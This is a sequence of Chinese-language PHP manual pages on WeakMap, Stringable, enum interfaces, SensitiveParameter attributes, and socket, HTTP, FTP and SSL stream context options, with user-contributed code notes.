  • WeakMap::offsetExists ?
  • PHP Manual
  • WeakMap
  • 接收一个外部迭代器

WeakMap::getIterator

(PHP 8)

WeakMap::getIterator — 接收一个外部迭代器

说明

public WeakMap::getIterator(): Iterator

返回一个外部迭代器.

参数

此函数没有参数。

返回值

一个实现了 Iterator 或者 Traversable 的类实例

错误／异常

失败时抛出 Exception。

User Contributed Notes

There are no user contributed notes for this page.


检测 map 中是否存在某个对象

  • ? WeakMap::getIterator
  • WeakMap::offsetGet ?
  • PHP Manual
  • WeakMap
  • 检测 map 中是否存在某个对象

WeakMap::offsetExists

(PHP 8)

WeakMap::offsetExists — 检测 map 中是否存在某个对象

说明

public WeakMap::offsetExists(object $object): bool

检查传入的对象在 map 中是否被引用。

参数

object

要检查的对象。

返回值

如果 map 中包含该对象返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


返回某个对象指向的值

  • ? WeakMap::offsetExists
  • WeakMap::offsetSet ?
  • PHP Manual
  • WeakMap
  • 返回某个对象指向的值

WeakMap::offsetGet

(PHP 8)

WeakMap::offsetGet — 返回某个对象指向的值

说明

public WeakMap::offsetGet(object $object): mixed

返回某个对象指向的值。

参数

object

map 中包含的 key 对象。

返回值

返回与作为参数传入对象关联的值， 否则返回 null。

User Contributed Notes

There are no user contributed notes for this page.


更新 map 新的键值对

  • ? WeakMap::offsetGet
  • WeakMap::offsetUnset ?
  • PHP Manual
  • WeakMap
  • 更新 map 新的键值对

WeakMap::offsetSet

(PHP 8)

WeakMap::offsetSet — 更新 map 新的键值对

说明

public WeakMap::offsetSet(object $object, mixed $value): void

更新 map 新的键值对。如果 key 已经在 map 中存在， 新的值会替换老的值。

参数

object

键值对中作为 key 的对象。

value

任意数据作为键值对的值。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


从 map 中移除一条

  • ? WeakMap::offsetSet
  • Stringable ?
  • PHP Manual
  • WeakMap
  • 从 map 中移除一条

WeakMap::offsetUnset

(PHP 8)

WeakMap::offsetUnset — 从 map 中移除一条

说明

public WeakMap::offsetUnset(object $object): void

从 map 中移除一项。

参数

object

从 map 中移除的 key 对象。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Stringable 接口

(PHP 8)

简介

Stringable 接口表示拥有 __toString() 方法的类。 和大多数接口不同， Stringable 隐式存在于任何定义了 __toString() 魔术方法的类上， 当然也可以显式声明它，并且推荐这么做。

它的主要价值是能让函数针对简单的字符串或可以转化为字符串的对象，检测联合类型 string|Stringable。

接口摘要

interface Stringable {
/* 方法 */
public __toString(): string
}

Stringable 示例

Example #1 基础 Stringable 用法

<?php
class IPv4Address implements Stringable {
private string $oct1;
private string $oct2;
private string $oct3;
private string $oct4;

public function __construct(string $oct1, string $oct2, string $oct3, string $oct4) {
$this->oct1 = $oct1;
$this->oct2 = $oct2;
$this->oct3 = $oct3;
$this->oct4 = $oct4;
}

public function __toString(): string {
return "$this->oct1.$this->oct2.$this->oct3.$this->oct4";
}
}

function showStuff(string|Stringable $value) {
// 通过在此处调用 __toString，Stringable 将会获得转化后的字符串
print $value;
}

$ip = new IPv4Address('123', '234', '42', '9');

showStuff($ip);
?>

以上示例的输出类似于：

123.234.42.9

Table of Contents

  • Stringable::__toString — 从对象中获取字符串表示

User Contributed Notes

Gormack 21-Nov-2021 02:49
Since it's introduced in PHP 8, IPv4Address class Example #1 could be shortened to:
<?php
class IPv4Address implements Stringable {
    public function __construct(private string $oct1, private string $oct2, private string $oct3, private string $oct4) {
    }

    public function __toString(): string {
        return "$this->oct1.$this->oct2.$this->oct3.$this->oct4";
    }
}
?>


从对象中获取字符串表示

  • ? Stringable
  • UnitEnum ?
  • PHP Manual
  • Stringable
  • 从对象中获取字符串表示

Stringable::__toString

(PHP 8)

Stringable::__toString — 从对象中获取字符串表示

说明

public Stringable::__toString(): string

参数

此函数没有参数。

返回值

返回对象的 string 表示。

参见

  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


UnitEnum 接口

(PHP 8 >= 8.1.0)

简介

引擎会自动应用 UnitEnum 接口到所有枚举。 用户自定义类不能实现该接口。 由于引擎已提供枚举的默认实现，因此不能重载它的接口。 主要将它用于类型检测。

接口摘要

interface UnitEnum {
/* 方法 */
public static cases(): array
}

Table of Contents

  • UnitEnum::cases — 生成枚举的条目清单

User Contributed Notes

leonardosahon at gmail dot com (Osahenrumwen A) 21-Aug-2023 11:46
When looping through cases, you will need to access the values as an object and not an array, like this:

<?php

enum BlogStatus : string {
    case Published = "is_published";
    case Draft = "is_draft";
    case Scheduled = "is_scheduled";
}

foreach (BlogStatus::case() as $datum){
    echo $datum->name . '<br />'; // Published || Draft || Scheduled
    echo $datum->value . '<br />'; // is_publised || is_draft || is_scheduled
}

?>


生成枚举的条目清单

  • ? UnitEnum
  • BackedEnum ?
  • PHP Manual
  • UnitEnum
  • 生成枚举的条目清单

UnitEnum::cases

(PHP 8 >= 8.1.0)

UnitEnum::cases — 生成枚举的条目清单

说明

public static UnitEnum::cases(): array

该方法返回打包后的 array，以声明的顺序，包含了枚举的所有条目。

参数

此函数没有参数。

返回值

以语法中声明的顺序，返回该枚举中定义的所有条目数组。

示例

Example #1 基本用法

下例演示了如何返回枚举条目。

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

var_dump(Suit::cases());
?>

以上示例会输出：

array(4) {
    [0]=>
    enum(Suit::Hearts)
    [1]=>
    enum(Suit::Diamonds)
    [2]=>
    enum(Suit::Clubs)
    [3]=>
    enum(Suit::Spades)
}

User Contributed Notes

avishkasenanayake at hotmail dot com 06-Feb-2023 12:32
If anyone is here wondering how to get all the names from the enum cases and map them into an array, it can be done like this:

array_column(CampaignPeriods::cases(), 'name');

Likewise, have the 2nd argument as 'value' to get the enum's values.

Happy coding, web artisan :)


BackedEnum 接口

(PHP 8 >= 8.1.0)

简介

引擎会自动应用 BackedEnum 接口到回退枚举。 用户自定义类不能实现该接口。 由于引擎已提供枚举的默认实现，因此不能重载它的接口。 主要将它用于类型检测。

接口摘要

interface BackedEnum extends UnitEnum {
/* 方法 */
public static from(int|string $value): static
public static tryFrom(int|string $value): ?static
/* 继承的方法 */
public static UnitEnum::cases(): array
}

Table of Contents

  • BackedEnum::from — 映射标量为 enum 实例
  • BackedEnum::tryFrom — 映射标量为 enum 实例或 null

User Contributed Notes

whatuwant 04-Feb-2022 09:57
As of PHP 8.1, while `UnitEnum` & `BackedEnum` cannot be implemented by user-defined classes, it seems they can be extended by user-defined interfaces and eventually be implemented by enums.

<?php

interface TestEnumInterface extends \BackedEnum
{
    public function foo(): string;
}

enum TestEnum: string implements TestEnumInterface
{
    case CASE_1 = 'case 1';
    case CASE_2 = 'case 2';

    public function foo(): string
    {
        return 'bar';
    }
}

?>


映射标量为 enum 实例

  • ? BackedEnum
  • BackedEnum::tryFrom ?
  • PHP Manual
  • BackedEnum
  • 映射标量为 enum 实例

BackedEnum::from

(PHP 8 >= 8.1.0)

BackedEnum::from — 映射标量为 enum 实例

说明

public static BackedEnum::from(int|string $value): static

from() 方法将 string 和 int 翻译成对应存在的 enum 条目。 如果没有匹配的条目，会抛出 ValueError。

参数

value

要映射到枚举条目的标量值。

返回值

该枚举的一个条目实例。

示例

Example #1 基本用法

以下的例子演示了如何返回 enum 条目。

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$h = Suit::from('H');

var_dump($h);

$b = Suit::from('B');
?>

以上示例会输出：

enum(Suit::Hearts)

Fatal error: Uncaught ValueError: "B" is not a valid backing value for enum "Suit" in /file.php:15

参见

  • UnitEnum::cases() - 生成枚举的条目清单
  • BackedEnum::tryFrom() - 映射标量为 enum 实例或 null

User Contributed Notes

There are no user contributed notes for this page.


映射标量为 enum 实例或 null

  • ? BackedEnum::from
  • SensitiveParameterValue ?
  • PHP Manual
  • BackedEnum
  • 映射标量为 enum 实例或 null

BackedEnum::tryFrom

(PHP 8 >= 8.1.0)

BackedEnum::tryFrom — 映射标量为 enum 实例或 null

说明

public static BackedEnum::tryFrom(int|string $value): ?static

tryFrom() 方法将 string 和 int 翻译成对应存在的 enum 条目。 如果没有找到匹配的条目，返回 null。

参数

value

要映射到枚举条目的标量值。

返回值

该枚举的一个条目实例，未找到时返回 null。

示例

Example #1 基本用法

以下的例子演示了如何返回 enum 条目。

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$h = Suit::tryFrom('H');

var_dump($h);

$b = Suit::tryFrom('B') ?? Suit::Spades;

var_dump($b);
?>

以上示例会输出：

enum(Suit::Hearts)
enum(Suit::Spades)

参见

  • UnitEnum::cases() - 生成枚举的条目清单
  • BackedEnum::from() - 映射标量为 enum 实例

User Contributed Notes

There are no user contributed notes for this page.


The SensitiveParameterValue class

(PHP 8 >= 8.2.0)

简介

The SensitiveParameterValue class allows wrapping sensitive values to protect them against accidental exposure.

Values of parameters having the SensitiveParameter attribute will automatically be wrapped inside of a SensitiveParameterValue object within stack traces.

类摘要

final class SensitiveParameterValue {
/* 属性 */
private readonly mixed $value;
/* 方法 */
public __construct(mixed $value)
public __debugInfo(): array
public getValue(): mixed
}

属性

value

The sensitive value to be protected against accidental exposure.

Table of Contents

  • SensitiveParameterValue::__construct — Constructs a new SensitiveParameterValue object
  • SensitiveParameterValue::__debugInfo — Protects the sensitive value against accidental exposure
  • SensitiveParameterValue::getValue — Returns the sensitive value

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SensitiveParameterValue object

  • ? SensitiveParameterValue
  • SensitiveParameterValue::__debugInfo ?
  • PHP Manual
  • SensitiveParameterValue
  • Constructs a new SensitiveParameterValue object

SensitiveParameterValue::__construct

(PHP 8 >= 8.2.0)

SensitiveParameterValue::__construct — Constructs a new SensitiveParameterValue object

说明

public SensitiveParameterValue::__construct(mixed $value)

Warning

本函数还未编写文档，仅有参数列表。

参数

value

An arbitrary value that should be stored inside the SensitiveParameterValue object.

User Contributed Notes

There are no user contributed notes for this page.


Protects the sensitive value against accidental exposure

  • ? SensitiveParameterValue::__construct
  • SensitiveParameterValue::getValue ?
  • PHP Manual
  • SensitiveParameterValue
  • Protects the sensitive value against accidental exposure

SensitiveParameterValue::__debugInfo

(PHP 8 >= 8.2.0)

SensitiveParameterValue::__debugInfo — Protects the sensitive value against accidental exposure

说明

public SensitiveParameterValue::__debugInfo(): array

Returns an empty array to protect the sensitive value against accidental exposure when using var_dump().

参数

此函数没有参数。

返回值

An empty array.

示例

Example #1 Passing a SensitiveParameterValue object to var_dump()

<?php
$s = new \SensitiveParameterValue('secret');

var_dump($s);
?>

以上示例会输出：

object(SensitiveParameterValue)#1 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the sensitive value

  • ? SensitiveParameterValue::__debugInfo
  • 预定义注解 ?
  • PHP Manual
  • SensitiveParameterValue
  • Returns the sensitive value

SensitiveParameterValue::getValue

(PHP 8 >= 8.2.0)

SensitiveParameterValue::getValue — Returns the sensitive value

说明

public SensitiveParameterValue::getValue(): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The sensitive value.

示例

Example #1 SensitiveParameterValue::getValue() example

<?php
$s = new \SensitiveParameterValue('secret');

echo "The protected value is: ", $s->getValue(), "\n";
?>

以上示例会输出：

The protected value is: secret

User Contributed Notes

There are no user contributed notes for this page.


预定义注解

Table of Contents

  • AllowDynamicProperties
  • ReturnTypeWillChange
  • SensitiveParameter

PHP 提供了一些可以使用的预定义注解。

User Contributed Notes

There are no user contributed notes for this page.


AllowDynamicProperties 类

(PHP 8 >= 8.2.0)

简介

此注解用于标记 class，允许动态属性。

类摘要

final class AllowDynamicProperties {
/* 方法 */
public __construct()
}

示例

从 PHP 8.2.0 起弃用动态属性，因此在不使用此注解标记类的情况下使用动态属性将发出弃用通知。

<?php
class DefaultBehaviour { }

#[\AllowDynamicProperties]
class ClassAllowsDynamicProperties { }

$o1 = new DefaultBehaviour();
$o2 = new ClassAllowsDynamicProperties();

$o1->nonExistingProp = true;
$o2->nonExistingProp = true;
?>

以上示例在 PHP 8.2 中的输出：

Deprecated: Creation of dynamic property DefaultBehaviour::$nonExistingProp is deprecated in file on line 10

参见

注解概览

Table of Contents

  • AllowDynamicProperties::__construct — 构造新的 AllowDynamicProperties 注解实例

User Contributed Notes

There are no user contributed notes for this page.


构造新的 AllowDynamicProperties 注解实例

  • ? AllowDynamicProperties
  • ReturnTypeWillChange ?
  • PHP Manual
  • AllowDynamicProperties
  • 构造新的 AllowDynamicProperties 注解实例

AllowDynamicProperties::__construct

(PHP 8 >= 8.2.0)

AllowDynamicProperties::__construct — 构造新的 AllowDynamicProperties 注解实例

说明

public AllowDynamicProperties::__construct()

构造新 AllowDynamicProperties 实例。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


ReturnTypeWillChange 类

(PHP 8 >= 8.1.0)

简介

大多数非 final 内部方法现在需要重写方法来声明兼容的返回类型，否则在继承验证期间会发出弃用通知。 如果由于 PHP 跨版本兼容性问题而无法为重写方法声明返回类型，可以添加 #[\ReturnTypeWillChange] 属性以消除弃用通知。

类摘要

final class ReturnTypeWillChange {
/* 方法 */
public __construct()
}

参见

注解概览

Table of Contents

  • ReturnTypeWillChange::__construct — 构造新的 ReturnTypeWillChange 注解实例

User Contributed Notes

There are no user contributed notes for this page.


构造新的 ReturnTypeWillChange 注解实例

  • ? ReturnTypeWillChange
  • SensitiveParameter ?
  • PHP Manual
  • ReturnTypeWillChange
  • 构造新的 ReturnTypeWillChange 注解实例

ReturnTypeWillChange::__construct

(PHP 8 >= 8.1.0)

ReturnTypeWillChange::__construct — 构造新的 ReturnTypeWillChange 注解实例

说明

public ReturnTypeWillChange::__construct()

构造新 ReturnTypeWillChange 实例。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


SensitiveParameter 类

(PHP 8 >= 8.2.0)

简介

该注解用于标记敏感参数，如果出现在栈跟踪中，则应编辑其值。

类摘要

final class SensitiveParameter {
/* 方法 */
public __construct()
}

示例

<?php

function defaultBehavior(
string $secret,
string $normal
) {
throw new Exception('Error!');
}

function sensitiveParametersWithAttribute(
#[\SensitiveParameter]
string $secret,
string $normal
) {
throw new Exception('Error!');
}

try {
defaultBehavior('password', 'normal');
} catch (Exception $e) {
echo $e, PHP_EOL, PHP_EOL;
}

try {
sensitiveParametersWithAttribute('password', 'normal');
} catch (Exception $e) {
echo $e, PHP_EOL, PHP_EOL;
}

?>

上述示例在 PHP 8.2 中的输出类似于于：

Exception: Error! in example.php:7
Stack trace:
#0 example.php(19): defaultBehavior('password', 'normal')
#1 {main}

Exception: Error! in example.php:15
Stack trace:
#0 example.php(25): sensitiveParametersWithAttribute(Object(SensitiveParameterValue), 'normal')
#1 {main}

参见

  • 注解概览
  • SensitiveParameterValue

Table of Contents

  • SensitiveParameter::__construct — Construct a new SensitiveParameter attribute instance

User Contributed Notes

There are no user contributed notes for this page.


Construct a new SensitiveParameter attribute instance

  • ? SensitiveParameter
  • 上下文（Context）选项和参数 ?
  • PHP Manual
  • SensitiveParameter
  • Construct a new SensitiveParameter attribute instance

SensitiveParameter::__construct

(PHP 8 >= 8.2.0)

SensitiveParameter::__construct — Construct a new SensitiveParameter attribute instance

说明

public SensitiveParameter::__construct()

Constructs a new SensitiveParameter instance.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


上下文（Context）选项和参数

PHP 提供了多种上下文选项和参数，可用于所有的文件系统或数据流封装协议。上下文（Context）由
stream_context_create() 创建。选项可通过
stream_context_set_option() 设置，参数可通过
stream_context_set_params() 设置。

Table of Contents

  • 套接字上下文选项 — 套接字上下文选项列表
  • HTTP context 选项 — HTTP context 的选项列表
  • FTP 上下文选项 — FTP 上下文选项列表
  • SSL 上下文选项 — SSL 上下文选项清单
  • Phar 上下文（context）选项 — Phar 上下文（context）选项列表
  • Context 参数 — Context 参数列表
  • Zip 上下文选项 — Zip 上下文选项列表
  • Zlib 上下文选项 — Zlib 上下文选项列表

User Contributed Notes

There are no user contributed notes for this page.


套接字上下文选项列表

  • ? 上下文（Context）选项和参数
  • HTTP context 选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • 套接字上下文选项列表

套接字上下文选项

套接字上下文选项 — 套接字上下文选项列表

说明

套接字上下文选项可用于所有工作在套接字上的封装协议，像 tcp, http 和 ftp。

可选项

bindto

用户 PHP 访问网络的指定的 IP 地址（IPv4 或 IPv6 其中的一个）和/或 端口号，这个语法是 ip:port。 设置 IP 或者 port 为 0 将会让系统选择 IP 或 port。

Note:

由于 FTP 在正常操作时会创建两个 socket 连接，因此无法使用此选项指定端口号。

backlog

用于限制 socket 监听队列中未完成连接的数量。

Note:

这仅适用于 stream_socket_server()。

ipv6_v6only

覆盖有关 IPv4 映射到 IPv6 的操作系统默认值。

Note:

在 [::] 上存在绑定的时候，当尝试在各自的 Ipv4 地址上监听，这是尤其重要。

这仅适用于 stream_socket_server()。

so_reuseport

即使来自不同的进程，也能对同一个 ip:port 对进行多个绑定。

Note:

这仅适用于 stream_socket_server()。

so_broadcast

允许向广播地址发送数据，从广播地址接收数据。

Note:

这仅适用于 stream_socket_server()。

tcp_nodelay

设置此选项为 true 将相应地设置 SOL_TCP,NO_DELAY=1， 从而禁用 TCP Nagle 算法。

更新日志

版本 | 说明
7.1.0 | 添加 tcp_nodelay。
7.0.1 | 添加 ipv6_v6only。

示例

Example #1 基础的 bindto 用法示例

<?php
// 使用 IP '192.168.0.100' 连接到互联网
$opts = array(
'socket' => array(
'bindto' => '192.168.0.100:0',
),
);

// 使用 IP '192.168.0.100' 和端口 '7000' 连接到互联网
$opts = array(
'socket' => array(
'bindto' => '192.168.0.100:7000',
),
);

// 使用 IPv6 地址 '2001:db8::1' 和端口 '7000' 连接到互联网
$opts = array(
'socket' => array(
'bindto' => '[2001:db8::1]:7000',
),
);

// 使用端口 '7000' 连接到互联网
$opts = array(
'socket' => array(
'bindto' => '0:7000',
),
);

// 创建上下文...
$context = stream_context_create($opts);

// ...并使用它来读取数据
echo file_get_contents('http://www.example.com', false, $context);

?>

User Contributed Notes

mix at ater dot me 19-Mar-2019 05:18
The right way for forcing IPv6 is 'bindto' => '[::]:0'
guru at jnt-finland dot fi 26-Oct-2015 03:54
You can set "bindto" to "0:0" to force use IPv4 instead of IPv6. And probably "[0]:0" to force use IPv6, thou this I couldn't test.


HTTP context 的选项列表

  • ? 套接字上下文选项
  • FTP 上下文选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • HTTP context 的选项列表

HTTP context 选项

HTTP context 选项 — HTTP context 的选项列表

说明

提供给 http:// 和 https:// 传输协议的 context 选项。 transports.

可选项

method string

远程服务器支持的 GET，POST 或其它 HTTP 方法。

默认值是 GET。

header array 或 string

请求期间发送的附加 header 。此选项中的值将覆盖其他值 （如 User-agent:， Host: 和 Authentication:)， 即使在执行 Location: 重定向时也是如此。 所以，如果启用了 follow_location 就不建议设置 Host: header。

user_agent string

要发送的 header User-Agent: 的值。如果在上面的 header context 选项中没有指定 user-agent，此值将被使用。

默认使用 php.ini 中设置的 user_agent。

content string

在 header 后面要发送的额外数据。通常使用POST或PUT请求。

proxy string

URI 指定的代理服务器的地址。(e.g. tcp://proxy.example.com:5100).

request_fulluri bool

当设置为 true 时，在构建请求时将使用整个 URI 。(例如： GET http://www.example.com/path/to/file.html HTTP/1.0)。 虽然这是一个非标准的请求格式，但某些代理服务器需要它。

默认值是 false.

follow_location int

跟随 Location header 的重定向。设置为 0 以禁用。

默认值是 1。

max_redirects int

跟随重定向的最大次数。值为 1 或更少则意味不跟随重定向。

默认值是 20。

protocol_version float

HTTP 协议版本。

PHP 8.0.0 起默认值是 1.1。在此之前默认值是 1.0。

timeout float

读取超时时间，单位为秒（s），用 float 指定(e.g. 10.5)。

默认使用 php.ini 中设置的 default_socket_timeout。

ignore_errors bool

即使是故障状态码依然获取内容。

默认值为 false.

示例

Example #1 获取一个页面并发送 POST 数据

<?php

$postdata = http_build_query(
array(
'var1' => 'some content',
'var2' => 'doh'
)
);

$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

Example #2 忽略重定向并获取 header 和内容

<?php

$url = "http://www.example.org/header.php";

$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);

$context = stream_context_create($opts);
$stream = fopen($url, 'r', false, $context);

// header 信息和 stream 的元数据一样
var_dump(stream_get_meta_data($stream));

// $url 的实际数据
var_dump(stream_get_contents($stream));
fclose($stream);
?>

注释

Note: 底层 socket stream 上下文选项
Additional context options may be supported by the underlying transport For http:// streams, refer to context options for the tcp:// transport. For https:// streams, refer to context options for the ssl:// transport.

Note: HTTP 状态行
When this stream wrapper follows a redirect, the wrapper_data returned by stream_get_meta_data() might not necessarily contain the HTTP status line that actually applies to the content data at index 0.

array (
  'wrapper_data' =>
  array (
    0 => 'HTTP/1.0 301 Moved Permanently',
    1 => 'Cache-Control: no-cache',
    2 => 'Connection: close',
    3 => 'Location: http://example.com/foo.jpg',
    4 => 'HTTP/1.1 200 OK',
    ...
第一个请求返回 301 （永久重定向）， 因此 stream 包装器自动跟随重定向到获得 200 响应（index = 4）。

参见

  • http://
  • 套接字上下文选项
  • SSL 上下文选项

User Contributed Notes

ASchmidt at Anamera dot net 16-Feb-2021 02:51
With the default of

    'follow_location'   =>  1

be certain NEVER include a "Host:" header in the 'header' array.

If the host is set to "mydomain.com", and that web site has a (quite common) redirect to "www.mydomain.com", then the initial request to "http://mydomain.com" will get the expected response of:

HTTP/1.1 301 Moved Permanently
Location: http://www.mydomain.com/

However, the follow-up request does NOT replace the original "host" header with the new "location" value, as one would expect. Consequently each "follow-location" request will again be served by the original host of "http://mydomain.com", and continue the redirect loop until 'max_redirects' has been exhausted.

(For details: https://bugs.php.net/bug.php?id=77889)
daniel.peder (a) gmail.com 16-Oct-2017 06:55
note that both http and https transports require the same context name http

// OK example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
daniel dot peder at gmail dot com 16-Oct-2017 06:50
note that for both http and https protocols require the same 'http' context keyword:

<?php

// CORRECT example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
aruntechguy at outlook dot com 22-Sep-2017 02:50
If you want to use Basic Auth while using get_headers(), use stream_context options below.

I am using HEAD method here, but please feel free to use GET also.

<?php
$targetUrl = 'http or https target url here';
$basicAuth = base64_encode('username:password');

stream_context_set_default(
    [
        'http' => [
            'method' => 'HEAD',
            'header' => 'Authorization: Basic ' . $basicAuth
        ]
    ]
);
$result = get_headers($targetUrl);

print_r($result);
ywarnier at beeznest dot org 02-Aug-2017 08:39
Note that setting request_fulluri to true will *change* the value of $_SERVER['REQUEST_URI] on the receiving end (from /abc.php to http://domain.com/abc.php).
jay 14-Apr-2015 01:32
Remember to match content with Content-type:

<?php

$data = array(
    'var1' => 'some content',
    'var2' => 'doh'
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/json',  // here...
        'content' => json_encode($data)  // and here.
    )
);

. . .

?>
nate 17-Apr-2014 03:19
Note that if you set the protocol_version option to 1.1 and the server you are requesting from is configured to use keep-alive connections, the function (fopen, file_get_contents, etc.) will "be slow" and take a long time to complete. This is a feature of the HTTP 1.1 protocol you are unlikely to use with stream contexts in PHP.

Simply add a "Connection: close" header to the request to eliminate the keep-alive timeout:

<?php
// php 5.4 : array syntax and header option with array value
$data = file_get_contents('http://www.example.com/', null, stream_context_create([
    'http' => [
        'protocol_version' => 1.1,
        'header'           => [
            'Connection: close',
        ],
    ],
]));
?>
chris 06-Feb-2014 06:14
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>
vchampion at gmail dot com 23-Oct-2012 01:41
If you use the proxy server and encounter an error "fopen(http://example.com): failed to open stream: HTTP request failed! HTTP/1.0 400 Bad Request" note that in many situations you need also set the parameter "request_fulluri" to "true" in your stream options. Without this option the php script sends the empty request to the server as "GET / HTTP/0.0" and the proxy server replies to it with the "HTTP 400" error.

For example (working sample):
<?php
$stream = stream_context_create(Array("http" => Array("method"  => "GET",
                                                      "timeout" => 20,
                                                      "header"  => "User-agent: Myagent",
                                                      "proxy"   => "tcp://my-proxy.localnet:3128",
                                                      'request_fulluri' => True /* without this option we get an HTTP error! */
                                )));

if ( $fp = fopen("http://example.com", 'r', false, $stream) ) {
    print "well done";
}
?>

P>S> PHP 5.3.17
gourav sarkar 18-Jan-2011 08:09
watch your case when using methods (POST and GET)...it must be always uppercase. in case of you write it in lower case it wont work.


FTP 上下文选项列表

  • ? HTTP context 选项
  • SSL 上下文选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • FTP 上下文选项列表

FTP 上下文选项

FTP 上下文选项 — FTP 上下文选项列表

说明

ftp:// 和 ftps:// 传输的上下文选项。

可选项

overwrite bool

允许覆盖远程服务器上已有的文件。仅适用于写入模式（上传）。

默认为 false。

resume_pos int

开始传输的文件偏移量。仅适用于读取模式（下载）。

默认为 0 （文件开头）。

proxy string

通过 http 代理服务器代理 FTP 请求。 仅适用于文件读取操作。 例如：tcp://squid.example.com:8000。

注释

Note: 底层套接字流上下文选项
底层传输 可能支持其他上下文选项 对于 ftp:// 流，请参阅 tcp:// 传输的上下文选项。 对于 ftps:// 流，请参阅 ssl:// 传输的上下文选项。

参见

  • ftp://
  • 套接字上下文选项
  • SSL 上下文选项

User Contributed Notes

instatiendaweb at gmail dot com 07-Mar-2021 08:38
// Ruta del ftp debe coincidir con la ruta del localhost
$ftp_path = 'ftp://francisco:aaa@localhost:21/ftparchivo.txt';
// Escribimos las opciones de stream
$stream_options = array('ftp' => array('overwrite' => TRUE));
// Creamos un contexto
$stream_context = stream_context_create($stream_options);
\escribir::verifacionnota($stream_context, 'STREAMCONTEXT');
// Abrimos el fichero que vamos a leer
$flujo = fopen($ftp_path, 'r', false, $stream_context);
//Funcion creada :vardump + string
\escribir::verifacionnota($flujo, 'VARDUMP FOPEN');

$contenido = '';
//Traduccion mientras el contenido del archivo no este al final del fichero ==> feof
while (!feof($flujo)) {
//Entonces lee 8192 bytes del archivo y a?adelos a la variable contenido
$contenido .= fread($flujo, 8192);
}
\escribir::verifacionnota($contenido, 'VARDUMP CONTENIDO');
//Cerramos el flujo
fclose($flujo);
dev at codesatori dot com 24-Nov-2016 07:01
Apparently the overwrite-option only registers as false if it's absent. If I specify it as false, it acts the same as true and overwrites. Then,
<?php
if (empty($opts['overwrite'])) {
    unset($opts['overwrite']);
}
?>
...was the simple fix for my FTP stream wrapper class sporting default options. This is quite unexpected though; false means false even if I say so? Apparently PHP (7.0.2) just checks if the option exists, not its boolean value.
php dot net at misterchucker dot com 15-Apr-2009 06:19
This is an example of how to allow fopen() to overwrite a file on an FTP site. If the stream context is not modified, an error will occur: "...failed to open stream: Remote file already exists and overwrite context option not specified...".

<?php
// The path to the FTP file, including login arguments
$ftp_path = 'ftp://username:password@example.com/example.txt';

// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));

// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);

// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
{
    // Writes contents to the file
    fputs($fh, 'example contents');

    // Closes the file handle
    fclose($fh);
}
else
{
    die('Could not open file.');
}
?>


SSL 上下文选项清单

  • ? FTP 上下文选项
  • Phar 上下文（context）选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • SSL 上下文选项清单

SSL 上下文选项

SSL 上下文选项 — SSL 上下文选项清单

说明

ssl:// 和 tls:// 传输协议上下文选项清单。

可选项

peer_name string

要连接的服务器名称。如果未设置，那么服务器名称将根据打开 SSL 流的主机名称猜测得出。

verify_peer bool

是否需要验证 SSL 证书。

默认值为 true。

verify_peer_name bool

是否需要验证 peer name。

默认值为 true.

allow_self_signed bool

是否允许自签名证书。需要配合 verify_peer 参数使用（注：当 verify_peer 参数为 true 时才会根据 allow_self_signed 参数值来决定是否允许自签名证书）。

默认值为 false

cafile string

当设置 verify_peer 为 true 时， 用来验证远端证书所用到的 CA 证书。 本选项值为 CA 证书在本地文件系统的全路径及文件名。

capath string

如果未设置 cafile，或者 cafile 所指的文件不存在时， 会在 capath 所指定的目录搜索适用的证书。 该目录必须是已经经过哈希处理的证书目录。 （注：所谓 hashed certificate 目录是指使用类似 c_rehash 命令将目录中的 .pem 和 .crt 文件扫描并提取哈希码，然后根据此哈希码创建文件链接，以便于快速查找证书）

local_cert string

